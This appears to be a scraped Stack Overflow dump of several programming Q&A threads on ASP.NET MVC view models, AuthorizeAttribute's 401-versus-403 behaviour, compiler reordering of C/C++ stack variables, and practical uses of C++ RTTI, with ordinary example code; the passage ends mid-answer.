[ { "answer_id": 238447, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I've got the same dealie going on. Here's my solution (may not be the best practice, but it works for me).</p>\n\n<p>I created a number of \"Grouping\" classes:</p>\n\n<pre><code>public class Duo&lt;TFirst,TSecond&gt; { /*...*/ }\npublic class Trio&lt;TFirst,TSecond, TThird&gt; { /*...*/ }\n</code></pre>\n\n<p>and a factory object to create them (to take advantage of type inference... some of the TFirsts and TSeconds and TThirds can be LONG)</p>\n\n<pre><code>public static class Group{\n\npublic static Duo&lt;TFirst, TSecond&gt; Duo(TFirst first, TSecond second) { \n return new Duo&lt;TFirst, TSecond&gt;(first, second);\n } \n/*...*/\n}\n</code></pre>\n\n<p>It gives me type safety and intellisense with a minimum of fuss. It just smells because you're grouping together classes that essentially have no real relation between them into a single object. I suppose it might be better to extend the ViewPage class to add a second and third ViewModel, but the way I did it takes lots less work.</p>\n" }, { "answer_id": 238448, "author": "Tim Scott", "author_id": 29493, "author_profile": "https://Stackoverflow.com/users/29493", "pm_score": 1, "selected": false, "text": "<p>Yes, the class that you specify as the model can be composed of other classes. However, why not just use the dictionary like so:</p>\n\n<pre><code>ViewData[\"foo\"] = myFoo;\nViewData[\"bar\"] = myBar;\n</code></pre>\n\n<p>I think this is preferable to defining the model as a container for otherwise unrelated objects, which to me has a funny smell.</p>\n" }, { "answer_id": 238469, "author": "David P", "author_id": 13145, "author_profile": "https://Stackoverflow.com/users/13145", "pm_score": 5, "selected": true, "text": "<p>I find it useful to create additional classes dedicated that are to be presented to the Views. I keep them in a separate namespace called 'Core.Presentation' to keep things organized. Here is an example:</p>\n\n<pre><code>namespace Core.Presentation\n{\n public class SearchPresentation\n {\n public IList&lt;StateProvince&gt; StateProvinces { get; set; }\n public IList&lt;Country&gt; Countries { get; set; }\n public IList&lt;Gender&gt; Genders { get; set; }\n public IList&lt;AgeRange&gt; AgeRanges { get; set; }\n }\n}\n</code></pre>\n\n<p>Then I make sure that my View is a strongly typed view that uses the generic version of that presentation class:</p>\n\n<pre><code>public partial class Search : ViewPage&lt;SearchPresentation&gt;\n</code></pre>\n\n<p>That way in the View, I can use Intellisense and easily navigate through the items.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238430", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2017/" ]
I think I know the answer, but I would like to bounce around some ideas. I would like to pass several (in this instance 2) somewhat different pieces of data to a View. My initial thought is simply to wrap-up the various objects into a containing object and pass them along that way. Then from the View, I'd have something like ``` var objContainer = ViewData.Model; var thisObject = objContainer.ThisObject; var thatObject = objContainer.ThatObject; ``` and these could be used independently in the Master Page and View Page. Is that the "best" way?
I find it useful to create additional classes dedicated that are to be presented to the Views. I keep them in a separate namespace called 'Core.Presentation' to keep things organized. Here is an example: ``` namespace Core.Presentation { public class SearchPresentation { public IList<StateProvince> StateProvinces { get; set; } public IList<Country> Countries { get; set; } public IList<Gender> Genders { get; set; } public IList<AgeRange> AgeRanges { get; set; } } } ``` Then I make sure that my View is a strongly typed view that uses the generic version of that presentation class: ``` public partial class Search : ViewPage<SearchPresentation> ``` That way in the View, I can use Intellisense and easily navigate through the items.
238,437
<p>In ASP.NET MVC, you can mark up a controller method with <code>AuthorizeAttribute</code>, like this:</p> <pre><code>[Authorize(Roles = "CanDeleteTags")] public void Delete(string tagName) { // ... } </code></pre> <p>This means that, if the currently logged-in user is not in the "CanDeleteTags" role, the controller method will never be called.</p> <p>Unfortunately, for failures, <code>AuthorizeAttribute</code> returns <code>HttpUnauthorizedResult</code>, which always returns HTTP status code 401. This causes a redirection to the login page.</p> <p>If the user isn't logged in, this makes perfect sense. However, if the user is <em>already</em> logged in, but isn't in the required role, it's confusing to send them back to the login page.</p> <p>It seems that <code>AuthorizeAttribute</code> conflates authentication and authorization.</p> <p>This seems like a bit of an oversight in ASP.NET MVC, or am I missing something?</p> <p>I've had to cook up a <code>DemandRoleAttribute</code> that separates the two. When the user isn't authenticated, it returns HTTP 401, sending them to the login page. When the user is logged in, but isn't in the required role, it creates a <code>NotAuthorizedResult</code> instead. Currently this redirects to an error page.</p> <p>Surely I didn't have to do this?</p>
[ { "answer_id": 238700, "author": "Keltex", "author_id": 28260, "author_profile": "https://Stackoverflow.com/users/28260", "pm_score": 2, "selected": false, "text": "<p>Unfortunately, you're dealing with the default behavior of ASP.NET forms authentication. There is a workaround (I haven't tried it) discussed here:</p>\n\n<p><a href=\"http://www.codeproject.com/KB/aspnet/Custon401Page.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/aspnet/Custon401Page.aspx</a></p>\n\n<p>(It's not specific to MVC)</p>\n\n<p>I think in most cases the best solution is to restrict access to unauthorized resources prior to the user trying to get there. By removing/graying out the link or button that might take them to this unauthorized page. </p>\n\n<p>It probably would be nice to have an additional parameter on the attribute to specify where to redirect an unauthorized user. But in the meantime, I look at the AuthorizeAttribute as a safety net.</p>\n" }, { "answer_id": 240505, "author": "Rob", "author_id": 2595, "author_profile": "https://Stackoverflow.com/users/2595", "pm_score": 2, "selected": false, "text": "<p>I always thought this did make sense. If you're logged in and you try to hit a page that requires a role you don't have, you get forwarded to the login screen asking you to log in with a user who does have the role.</p>\n\n<p>You might add logic to the login page that checks to see if the user is already authenticated. You could add a friendly message that explains why they've been bumbed back there again.</p>\n" }, { "answer_id": 705485, "author": "Alan Jackson", "author_id": 72995, "author_profile": "https://Stackoverflow.com/users/72995", "pm_score": 5, "selected": false, "text": "<p>Add this to your Login Page_Load function:</p>\n\n<pre><code>// User was redirected here because of authorization section\nif (User.Identity != null &amp;&amp; User.Identity.IsAuthenticated)\n Response.Redirect(\"Unauthorized.aspx\");\n</code></pre>\n\n<p>When the user is redirected there but is already logged in, it shows the unauthorized page. If they are not logged in, it falls through and shows the login page.</p>\n" }, { "answer_id": 5844884, "author": "ShadowChaser", "author_id": 497666, "author_profile": "https://Stackoverflow.com/users/497666", "pm_score": 9, "selected": true, "text": "<p>When it was first developed, System.Web.Mvc.AuthorizeAttribute was doing the right thing - \nolder revisions of the HTTP specification used status code 401 for both \"unauthorized\" and \"unauthenticated\". </p>\n\n<p>From the original specification:</p>\n\n<blockquote>\n <p>If the request already included Authorization credentials, then the 401 response indicates that authorization has been refused for those credentials.</p>\n</blockquote>\n\n<p>In fact, you can see the confusion right there - it uses the word \"authorization\" when it means \"authentication\". In everyday practice, however, it makes more sense to return a 403 Forbidden when the user is authenticated but not authorized. It's unlikely the user would have a second set of credentials that would give them access - bad user experience all around.</p>\n\n<p>Consider most operating systems - when you attempt to read a file you don't have permission to access, you aren't shown a login screen! </p>\n\n<p>Thankfully, the HTTP specifications were updated (June 2014) to remove the ambiguity. </p>\n\n<p>From \"Hyper Text Transport Protocol (HTTP/1.1): Authentication\" (RFC 7235):</p>\n\n<blockquote>\n <p>The 401 (Unauthorized) status code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.</p>\n</blockquote>\n\n<p>From \"Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content\" (RFC 7231):</p>\n\n<blockquote>\n <p>The 403 (Forbidden) status code indicates that the server understood the request but refuses to authorize it.</p>\n</blockquote>\n\n<p>Interestingly enough, at the time ASP.NET MVC 1 was released the behavior of AuthorizeAttribute was correct. Now, the behavior is incorrect - the HTTP/1.1 specification was fixed.</p>\n\n<p>Rather than attempt to change ASP.NET's login page redirects, it's easier just to fix the problem at the source. You can create a new attribute with the same name (<code>AuthorizeAttribute</code>) <strong>in your website's default namespace</strong> (this is very important) then the compiler will automatically pick it up instead of MVC's standard one. Of course, you could always give the attribute a new name if you'd rather take that approach.</p>\n\n<pre><code>[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = true)]\npublic class AuthorizeAttribute : System.Web.Mvc.AuthorizeAttribute\n{\n protected override void HandleUnauthorizedRequest(System.Web.Mvc.AuthorizationContext filterContext)\n {\n if (filterContext.HttpContext.Request.IsAuthenticated)\n {\n filterContext.Result = new System.Web.Mvc.HttpStatusCodeResult((int)System.Net.HttpStatusCode.Forbidden);\n }\n else\n {\n base.HandleUnauthorizedRequest(filterContext);\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 27850037, "author": "Kareem Cambridge", "author_id": 4434720, "author_profile": "https://Stackoverflow.com/users/4434720", "pm_score": 0, "selected": false, "text": "<p>Try this in your in the Application_EndRequest handler of your Global.ascx file</p>\n\n<pre><code>if (HttpContext.Current.Response.Status.StartsWith(\"302\") &amp;&amp; HttpContext.Current.Request.Url.ToString().Contains(\"/&lt;restricted_path&gt;/\"))\n{\n HttpContext.Current.Response.ClearContent();\n Response.Redirect(\"~/AccessDenied.aspx\");\n}\n</code></pre>\n" }, { "answer_id": 48797711, "author": "Greg Gum", "author_id": 425823, "author_profile": "https://Stackoverflow.com/users/425823", "pm_score": 0, "selected": false, "text": "<p>If your using aspnetcore 2.0, use this:</p>\n\n<pre><code>using System;\nusing Microsoft.AspNetCore.Mvc;\nusing Microsoft.AspNetCore.Mvc.Filters;\n\nnamespace Core\n{\n [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = true)]\n public class AuthorizeApiAttribute : Microsoft.AspNetCore.Authorization.AuthorizeAttribute, IAuthorizationFilter\n {\n public void OnAuthorization(AuthorizationFilterContext context)\n {\n var user = context.HttpContext.User;\n\n if (!user.Identity.IsAuthenticated)\n {\n context.Result = new UnauthorizedResult();\n return;\n }\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 55228016, "author": "César León", "author_id": 4905197, "author_profile": "https://Stackoverflow.com/users/4905197", "pm_score": 0, "selected": false, "text": "<p>In my case the problem was \"HTTP specification used status code 401 for both \"unauthorized\" and \"unauthenticated\"\". As ShadowChaser said.</p>\n\n<p>This solution works for me:</p>\n\n<pre><code>if (User != null &amp;&amp; User.Identity.IsAuthenticated &amp;&amp; Response.StatusCode == 401)\n{\n //Do whatever\n\n //In my case redirect to error page\n Response.RedirectToRoute(\"Default\", new { controller = \"Home\", action = \"ErrorUnauthorized\" });\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238437", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8446/" ]
In ASP.NET MVC, you can mark up a controller method with `AuthorizeAttribute`, like this: ``` [Authorize(Roles = "CanDeleteTags")] public void Delete(string tagName) { // ... } ``` This means that, if the currently logged-in user is not in the "CanDeleteTags" role, the controller method will never be called. Unfortunately, for failures, `AuthorizeAttribute` returns `HttpUnauthorizedResult`, which always returns HTTP status code 401. This causes a redirection to the login page. If the user isn't logged in, this makes perfect sense. However, if the user is *already* logged in, but isn't in the required role, it's confusing to send them back to the login page. It seems that `AuthorizeAttribute` conflates authentication and authorization. This seems like a bit of an oversight in ASP.NET MVC, or am I missing something? I've had to cook up a `DemandRoleAttribute` that separates the two. When the user isn't authenticated, it returns HTTP 401, sending them to the login page. When the user is logged in, but isn't in the required role, it creates a `NotAuthorizedResult` instead. Currently this redirects to an error page. Surely I didn't have to do this?
When it was first developed, System.Web.Mvc.AuthorizeAttribute was doing the right thing - older revisions of the HTTP specification used status code 401 for both "unauthorized" and "unauthenticated". From the original specification: > > If the request already included Authorization credentials, then the 401 response indicates that authorization has been refused for those credentials. > > > In fact, you can see the confusion right there - it uses the word "authorization" when it means "authentication". In everyday practice, however, it makes more sense to return a 403 Forbidden when the user is authenticated but not authorized. It's unlikely the user would have a second set of credentials that would give them access - bad user experience all around. Consider most operating systems - when you attempt to read a file you don't have permission to access, you aren't shown a login screen! Thankfully, the HTTP specifications were updated (June 2014) to remove the ambiguity. From "Hyper Text Transport Protocol (HTTP/1.1): Authentication" (RFC 7235): > > The 401 (Unauthorized) status code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource. > > > From "Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content" (RFC 7231): > > The 403 (Forbidden) status code indicates that the server understood the request but refuses to authorize it. > > > Interestingly enough, at the time ASP.NET MVC 1 was released the behavior of AuthorizeAttribute was correct. Now, the behavior is incorrect - the HTTP/1.1 specification was fixed. Rather than attempt to change ASP.NET's login page redirects, it's easier just to fix the problem at the source. You can create a new attribute with the same name (`AuthorizeAttribute`) **in your website's default namespace** (this is very important) then the compiler will automatically pick it up instead of MVC's standard one. Of course, you could always give the attribute a new name if you'd rather take that approach. ``` [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = true)] public class AuthorizeAttribute : System.Web.Mvc.AuthorizeAttribute { protected override void HandleUnauthorizedRequest(System.Web.Mvc.AuthorizationContext filterContext) { if (filterContext.HttpContext.Request.IsAuthenticated) { filterContext.Result = new System.Web.Mvc.HttpStatusCodeResult((int)System.Net.HttpStatusCode.Forbidden); } else { base.HandleUnauthorizedRequest(filterContext); } } } ```
238,441
<p>I have worked on projects for embedded systems in the past where we have rearranged the order of declaration of stack variables to decrease the size of the resulting executable. For instance, if we had:</p> <pre><code>void func() { char c; int i; short s; ... } </code></pre> <p>We would reorder this to be:</p> <pre><code>void func() { int i; short s; char c; ... } </code></pre> <p>Because of alignment issues the first one resulted in 12 bytes of stack space being used and the second one resulted in only 8 bytes.</p> <p>Is this standard behavior for C compilers or just a shortcoming of the compiler we were using? </p> <p>It seems to me that a compiler should be able to reorder stack variables to favor smaller executable size if it wanted to. It has been suggested to me that some aspect of the C standard prevents this, but I haven't been able to find a reputable source either way.</p> <p>As a bonus question, does this also apply to C++ compilers?</p> <p><strong>Edit</strong></p> <p>If the answer is yes, C/C++ compilers can rearrange stack variables, can you give an example of a compiler that definitely does this? I'd like to see compiler documentation or something similar that backs this up.</p> <p><strong>Edit Again</strong></p> <p>Thanks everybody for your help. For documentation, the best thing I've been able to find is the paper <a href="http://mirror-fpt-telecom.fpt.net/gcc/summit/2003/Optimal%20Stack%20Slot%20Assignment.pdf" rel="noreferrer">Optimal Stack Slot Assignment in GCC</a>(pdf), by Naveen Sharma and Sanjiv Kumar Gupta, which was presented at the GCC summit proceedings in 2003.</p> <p>The project in question here was using the ADS compiler for ARM development. It is mentioned in the documentation for that compiler that ordering declarations like I've shown can improve performance, as well as stack size, because of how the ARM-Thumb architecture calculates addresses in the local stack frame. That compiler didn't automatically rearrange locals to take advantage of this. The paper linked here says that as of 2003 GCC also didn't rearrange the stack frame to improve locality of reference for ARM-Thumb processors, but it implies that you could.</p> <p>I can't find anything that definitely says this was ever implemented in GCC, but I think this paper counts as proof that you're all correct. Thanks again.</p>
[ { "answer_id": 238450, "author": "CiNN", "author_id": 2566, "author_profile": "https://Stackoverflow.com/users/2566", "pm_score": 0, "selected": false, "text": "<p>it is compiler specifics, one can make his own compiler that would do the inverse if he wanted it that way.</p>\n" }, { "answer_id": 238461, "author": "peterchen", "author_id": 31317, "author_profile": "https://Stackoverflow.com/users/31317", "pm_score": 6, "selected": true, "text": "<p>As there is nothing in the standard prohibiting that for C or C++ compilers, yes, the compiler can do that. </p>\n\n<p>It is different for aggregates (i.e. structs), where the relative order must be maintained, but still the compiler may insert pad bytes to achieve preferable alignment. </p>\n\n<p>IIRC newer MSVC compilers use that freedom in their fight against buffer overflows of locals.</p>\n\n<p>As a side note, in C++, the order of destruction must be reverse order of declaration, even if the compiler reorders the memory layout.</p>\n\n<p>(I can't quote chapter and verse, though, this is from memory.)</p>\n" }, { "answer_id": 238483, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 4, "selected": false, "text": "<p>The compiler is even free to remove the variable from the stack and make it register only if analysis shows that the address of the variable is never taken/used.</p>\n" }, { "answer_id": 238489, "author": "Will Dean", "author_id": 987, "author_profile": "https://Stackoverflow.com/users/987", "pm_score": 2, "selected": false, "text": "<p>A compiler might not even be using a stack at all for data. If you're on a platform so tiny that you're worrying about 8 vs 12 bytes of stack, then it's likely that there will be compilers which have pretty specialised approaches. (Some PIC and 8051 compilers come to mind)</p>\n\n<p>What processor are you compiling for?</p>\n" }, { "answer_id": 238491, "author": "Jay Conrod", "author_id": 1891, "author_profile": "https://Stackoverflow.com/users/1891", "pm_score": 0, "selected": false, "text": "<p>A decent compiler will put local variables in registers if it can. Variables should only be placed on the stack if there is excessive register pressure (not enough room) or if the variable's address is taken, meaning it needs to live in memory. </p>\n\n<p>As far as I know, there is nothing that says variables need to be placed at any specific location or alignment on the stack for C/C++; the compiler will put them wherever is best for performance and/or whatever is convenient for compiler writers. </p>\n" }, { "answer_id": 238496, "author": "zvrba", "author_id": 2583, "author_profile": "https://Stackoverflow.com/users/2583", "pm_score": 3, "selected": false, "text": "<p>The stack need not even exist (in fact, the C99 standard does not have a single occurence of the word \"stack\"). So yes, the compiler is free to do whatever it wants as long as that preserves the semantics of variables with automatic storage duration.</p>\n\n<p>As for an example: I encountered many times a situation where I could not display a local variable in the debugger because it was stored in a register.</p>\n" }, { "answer_id": 238503, "author": "Dima", "author_id": 13313, "author_profile": "https://Stackoverflow.com/users/13313", "pm_score": 0, "selected": false, "text": "<p>AFAIK there is nothing in the definition of C or C++ specifying how the compiler should order local variables on the stack. I would say that relying on what the compiler may do in this case is a bad idea, because the next version of your compiler may do it differently. If you spend time and effort to order your local variables to save a few bytes of stack, those few bytes had better be really critical for the functioning of your system.</p>\n" }, { "answer_id": 238618, "author": "Tim Williscroft", "author_id": 2789, "author_profile": "https://Stackoverflow.com/users/2789", "pm_score": 3, "selected": false, "text": "<p>The compiler for the Texas instruments 62xx series of DSP's is capable of, and does\n\"whole program optimization.\" ( you can turn it off)</p>\n\n<p>This is where your code gets rearranged, not just the locals. So order of execution ends up being not quite what you might expect.</p>\n\n<p>C and C++ don't <em>actually</em> promise a memory model (in the sense of say the JVM), so things can be quite different and still legal.</p>\n\n<p>For those who don't know them, the 62xx family are 8 instruction per clock cycle DSP's; at 750Mhz, they do peak at 6e+9 instructions. Some of the time anyway. They do parallel execution, but instruction ordering is done in the compiler, not the CPU, like an Intel x86.</p>\n\n<p>PIC's and Rabbit embedded boards don't <em>have</em> stacks unless you ask especially nicely.</p>\n" }, { "answer_id": 238635, "author": "Chris Conway", "author_id": 1412, "author_profile": "https://Stackoverflow.com/users/1412", "pm_score": 0, "selected": false, "text": "<p>There's no need for idle speculation about what the C standard requires or does not require: recent drafts are freely available online from the <a href=\"http://www.open-std.org/jtc1/sc22/wg14/www/standards\" rel=\"nofollow noreferrer\">ANSI/ISO working group</a>.</p>\n" }, { "answer_id": 243740, "author": "Malkocoglu", "author_id": 31152, "author_profile": "https://Stackoverflow.com/users/31152", "pm_score": 0, "selected": false, "text": "<p>This does not answer your question but here is my 2 cents about a related issue...</p>\n\n<p>I did not have the problem of stack space optimization but I had the problem of mis-alignment of double variables on the stack. A function may be called from any other function and the stack pointer value may have any un-aligned value. So I have come up with the idea below. This is not the original code, I just wrote it...</p>\n\n<pre><code>#pragma pack(push, 16)\n\ntypedef struct _S_speedy_struct{\n\n double fval[4];\n int64 lval[4];\n int32 ival[8];\n\n}S_speedy_struct;\n\n#pragma pack(pop)\n\nint function(...)\n{\n int i, t, rv;\n S_speedy_struct *ptr;\n char buff[112]; // sizeof(struct) + alignment\n\n // ugly , I know , but it works...\n t = (int)buff;\n t += 15; // alignment - 1\n t &amp;= -16; // alignment\n ptr = (S_speedy_struct *)t;\n\n // speedy code goes on...\n}\n</code></pre>\n" }, { "answer_id": 261071, "author": "Walter Bright", "author_id": 33949, "author_profile": "https://Stackoverflow.com/users/33949", "pm_score": 5, "selected": false, "text": "<p>Not only can the compiler reorder the stack layout of the local variables, it can assign them to registers, assign them to live sometimes in registers and sometimes on the stack, it can assign two locals to the same slot in memory (if their live ranges do not overlap) and it can even completely eliminate variables.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238441", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13728/" ]
I have worked on projects for embedded systems in the past where we have rearranged the order of declaration of stack variables to decrease the size of the resulting executable. For instance, if we had: ``` void func() { char c; int i; short s; ... } ``` We would reorder this to be: ``` void func() { int i; short s; char c; ... } ``` Because of alignment issues the first one resulted in 12 bytes of stack space being used and the second one resulted in only 8 bytes. Is this standard behavior for C compilers or just a shortcoming of the compiler we were using? It seems to me that a compiler should be able to reorder stack variables to favor smaller executable size if it wanted to. It has been suggested to me that some aspect of the C standard prevents this, but I haven't been able to find a reputable source either way. As a bonus question, does this also apply to C++ compilers? **Edit** If the answer is yes, C/C++ compilers can rearrange stack variables, can you give an example of a compiler that definitely does this? I'd like to see compiler documentation or something similar that backs this up. **Edit Again** Thanks everybody for your help. For documentation, the best thing I've been able to find is the paper [Optimal Stack Slot Assignment in GCC](http://mirror-fpt-telecom.fpt.net/gcc/summit/2003/Optimal%20Stack%20Slot%20Assignment.pdf)(pdf), by Naveen Sharma and Sanjiv Kumar Gupta, which was presented at the GCC summit proceedings in 2003. The project in question here was using the ADS compiler for ARM development. It is mentioned in the documentation for that compiler that ordering declarations like I've shown can improve performance, as well as stack size, because of how the ARM-Thumb architecture calculates addresses in the local stack frame. That compiler didn't automatically rearrange locals to take advantage of this. The paper linked here says that as of 2003 GCC also didn't rearrange the stack frame to improve locality of reference for ARM-Thumb processors, but it implies that you could. I can't find anything that definitely says this was ever implemented in GCC, but I think this paper counts as proof that you're all correct. Thanks again.
As there is nothing in the standard prohibiting that for C or C++ compilers, yes, the compiler can do that. It is different for aggregates (i.e. structs), where the relative order must be maintained, but still the compiler may insert pad bytes to achieve preferable alignment. IIRC newer MSVC compilers use that freedom in their fight against buffer overflows of locals. As a side note, in C++, the order of destruction must be reverse order of declaration, even if the compiler reorders the memory layout. (I can't quote chapter and verse, though, this is from memory.)
238,452
<p>I am familiar with C++ RTTI, and find the concept interesting.</p> <p>Still there exist a lot of more ways to abuse it than to use it correctly (the RTTI-switch dread comes to mind). As a developer, I found (and used) only two viable uses for it (more exactly, one and a half).</p> <p><strong>Could you share some of the ways RTTI is a viable solution to a problem, with example code/pseudo-code included?</strong></p> <p>Note: The aim is to have a repository of viable examples a junior developer can consult, criticize and learn from.</p> <p><strong>Edit:</strong> You'll find below code using C++ RTTI</p> <pre><code>// A has a virtual destructor (i.e. is polymorphic) // B has a virtual destructor (i.e. is polymorphic) // B does (or does not ... pick your poison) inherits from A void doSomething(A * a) { // typeid()::name() returns the "name" of the object (not portable) std::cout &lt;&lt; "a is [" &lt;&lt; typeid(*a).name() &lt;&lt; "]"&lt;&lt; std::endl ; // the dynamic_cast of a pointer to another will return NULL is // the conversion is not possible if(B * b = dynamic_cast&lt;B *&gt;(a)) { std::cout &lt;&lt; "a is b" &lt;&lt; std::endl ; } else { std::cout &lt;&lt; "a is NOT b" &lt;&lt; std::endl ; } } </code></pre>
[ { "answer_id": 238499, "author": "fizzer", "author_id": 18167, "author_profile": "https://Stackoverflow.com/users/18167", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.objectmentor.com/resources/articles/acv.pdf\" rel=\"nofollow noreferrer\">Acyclic Visitor</a> (pdf) is a great use of it.</p>\n" }, { "answer_id": 238509, "author": "1800 INFORMATION", "author_id": 3146, "author_profile": "https://Stackoverflow.com/users/3146", "pm_score": 3, "selected": false, "text": "<p>I cant say I've ever found a use for in in real life but RTTI is mentioned in <a href=\"http://www.aristeia.com/books.html\" rel=\"noreferrer\">Effective C++</a> as a possible solution to multi-methods in C++. This is because method dispatch is done on the dynamic type of the <code>this</code> parameter but the static type of the arguments.</p>\n\n<pre><code>class base\n{\n void foo(base *b) = 0; // dynamic on the parameter type as well\n};\n\nclass B : public base {...}\nclass B1 : public B {...}\nclass B2 : public B {...}\n\nclass A : public base\n{\n void foo(base *b)\n {\n if (B1 *b1=dynamic_cast&lt;B1*&gt;(b))\n doFoo(b1);\n else if (B2 *b2=dynamic_cast&lt;B2*&gt;(b))\n doFoo(b2);\n }\n};\n</code></pre>\n" }, { "answer_id": 238515, "author": "KeyserSoze", "author_id": 14116, "author_profile": "https://Stackoverflow.com/users/14116", "pm_score": 2, "selected": false, "text": "<p>I worked on an aircraft simulation once, that had what they (somewhat confusingly) referred to as a \"Simulation Database\". You could register variables like floats or ints or strings in it, and people could search for them by name, and pull out a reference to them. You could also register a model (an object of a class descended from \"SimModel\"). The way I used RTTI, was to make it so you could search for models that implement a given interface:</p>\n\n<pre><code>SimModel* SimDatabase::FindModel&lt;type*&gt;(char* name=\"\")\n{\n foreach(SimModel* mo in ModelList)\n if(name == \"\" || mo-&gt;name eq name)\n {\n if(dynamic_cast&lt;type*&gt;mo != NULL)\n {\n return dynamic_cast&lt;type*&gt;mo;\n }\n }\n return NULL;\n}\n</code></pre>\n\n<p>The SimModel base class:</p>\n\n<pre><code>class public SimModel\n{\n public:\n void RunModel()=0;\n};\n</code></pre>\n\n<p>An example interface might be \"EngineModel\":</p>\n\n<pre><code>class EngineModelInterface : public SimModel\n{\n public:\n float RPM()=0;\n float FuelFlow()=0;\n void SetThrottle(float setting)=0; \n};\n</code></pre>\n\n<p>Now, to make a Lycoming and Continental engine:</p>\n\n<pre><code>class LycomingIO540 : public EngineModelInterface \n{\n public:\n float RPM()\n {\n return rpm;\n }\n float FuelFlow()\n {\n return throttleSetting * 10.0;\n }\n void SetThrottle(float setting) \n {\n throttleSetting = setting\n }\n void RunModel() // from SimModel base class\n {\n if(throttleSetting &gt; 0.5)\n rpm += 1;\n else\n rpm -= 1;\n }\n private:\n float rpm, throttleSetting;\n};\nclass Continental350: public EngineModelInterface \n{\n public:\n float RPM()\n {\n return rand();\n }\n float FuelFlow()\n {\n return rand;\n }\n void SetThrottle(float setting) \n {\n }\n void RunModel() // from SimModel base class\n {\n }\n};\n</code></pre>\n\n<p>Now, here's some code where somebody wants an engine:</p>\n\n<pre><code>.\n.\nEngineModelInterface * eng = simDB.FindModel&lt;EngineModelInterface *&gt;();\n.\n.\nfuel = fuel - deltaTime * eng-&gt;FuelFlow(); \n.\n.\n.\n</code></pre>\n\n<p>Code is pretty pseudo, but I hope it gets the idea across. One developer can write code that depends on having an Engine, but as long as it has something that implements the engine interface, it doesn't care what it is. So the code that updates the amount of fuel in the tanks is completely decoupled from everything except the FindModel&lt;>() function, and the pure virtual EngineModel interface that he's interested in using. Somebody a year later can make a new engine model, register it with the SimulationDatabase, and the guy above who updates fuel will start using it automatically. I actually made it so you could load new models as plugins (DLLs) at runtime, and once they are registered in the SimulationDatabase, they could be found with FindModel&lt;>(), even though the code that was looking for them was compiled and built into a DLL months before the new DLL existed. You could also add new Interfaces that derive from SimModel, with something that implements them in one DLL, something that searches for them in another DLL, and once you load both DLLs, one can do a FindModel&lt;>() to get the model in the other. Even though the Interface itself didn't even exist when the main app was built.</p>\n\n<p>Parenthetically, RTTI doesn't always work across DLL boundaries. Since I was using Qt anyway, I used <code>qobject_cast</code> instead of <code>dynamic_cast</code>. Every class had to inherit from QObject (and get moc'd), but the qobject meta-data was always available. If you don't care about DLLs, or you are using a toolchain where RTTI <em>does</em> work across DLL boundaries (type comparisons based on string comparisons instead of hashes or whatever), then all of the above with <code>dynamic_cast</code> will work just fine.</p>\n" }, { "answer_id": 238575, "author": "itsmatt", "author_id": 7862, "author_profile": "https://Stackoverflow.com/users/7862", "pm_score": 0, "selected": false, "text": "<p>I used RTTI when doing some canvas-based work with Qt several years ago. It was darn convenient when doing hit-tests on objects to employ RTTI to determine what I was going to do with the shape I'd 'hit'. But I haven't used it otherwise in production code.</p>\n" }, { "answer_id": 238636, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 3, "selected": false, "text": "<p>How about the boost::any object!</p>\n\n<p>This basically uses the RTTI info to store any object and the retrieve that object use boost::any_cast&lt;>.</p>\n" }, { "answer_id": 238685, "author": "Zan Lynx", "author_id": 13422, "author_profile": "https://Stackoverflow.com/users/13422", "pm_score": 3, "selected": false, "text": "<p>You can use RTTI with dynamic_cast to get a pointer to a derived class in order to use it to call a fast, type specialized algorithm. And instead of using the virtual methods through the base class, it will make direct and inlined calls.</p>\n\n<p>This sped things up for me a lot using GCC. Visual Studio didn't seem to do as well, it may have a slower dynamic_cast lookup.</p>\n\n<p>Example:</p>\n\n<pre><code>D* obj = dynamic_cast&lt;D*&gt;(base);\nif (obj) {\n for(unsigned i=0; i&lt;1000; ++i)\n f(obj-&gt;D::key(i));\n }\n} else {\n for(unsigned i=0; i&lt;1000; ++i)\n f(base-&gt;key(i));\n }\n}\n</code></pre>\n" }, { "answer_id": 238937, "author": "Nick", "author_id": 26240, "author_profile": "https://Stackoverflow.com/users/26240", "pm_score": 2, "selected": false, "text": "<p>I use it in a class tree which serializes to a XML file. On the de-serialization, the parser class returns a pointer to the base class which has a enumeration for the type of the subclass (because you don't know which type it is until you parse it). If the code using the object needs to reference subclass specific elements, it switches on the enum value and dynamic_cast's to the subclass (which was created by the parser). This way the code can check to ensure that the parser didn't have an error and a mismatch between the enum value and the class instance type returned. Virtual functions are also not sufficient because you might have subclass specific data you need to get to.</p>\n\n<p>This is just one example of where RTTI could be useful; it's perhaps not the most elegant way to solve the problem, but using RTTI makes the application more robust when using this pattern.</p>\n" }, { "answer_id": 239286, "author": "Johann Gerell", "author_id": 6345, "author_profile": "https://Stackoverflow.com/users/6345", "pm_score": 0, "selected": false, "text": "<p>I'm using it with <strong><a href=\"http://jogear.net/dynamic-double-dispatch-and-templates\" rel=\"nofollow noreferrer\">Dynamic Double Dispatch and Templates</a></strong>. Basically, it gives the ability to observe/listen to only the interesting parts of an object.</p>\n" }, { "answer_id": 240155, "author": "Motti", "author_id": 3848, "author_profile": "https://Stackoverflow.com/users/3848", "pm_score": 2, "selected": false, "text": "<p>Sometimes <code>static_cast</code> and C-style casts just aren't enough and you need <code>dynamic_cast</code>, an example of this is when you have the dreaded 